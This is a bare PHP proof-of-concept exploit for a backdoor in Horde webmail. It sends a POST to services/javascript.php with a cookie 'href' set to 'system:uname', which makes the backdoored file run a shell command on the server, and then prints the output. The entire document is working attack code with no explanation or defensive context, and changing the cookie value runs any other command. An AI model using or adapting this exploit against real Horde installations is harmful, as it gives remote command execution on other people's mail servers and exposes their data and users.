Horde Backdoor PoC

<?php

require_once 'HTTP/Request2.php';

$request = new HTTP_Request2('http://devnull.zataz.loc/horde/services/javascript.php', HTTP_Request2::METHOD_GET);
$request->addCookie('href', "system:uname");

$request->setMethod(HTTP_Request2::METHOD_POST)
        ->addPostParameter('app','horde')
        ->addPostParameter('file','open_calendar.js');

try {
    $response = $request->send();
    if (200 == $response->getStatus()) {
        echo $response->getBody();
    } else {
        echo 'Unexpected HTTP status: ' . $response->getStatus() . ' ' .
             $response->getReasonPhrase();
    }
} catch (HTTP_Request2_Exception $e) {
    echo 'Error: ' . $e->getMessage();
}
?>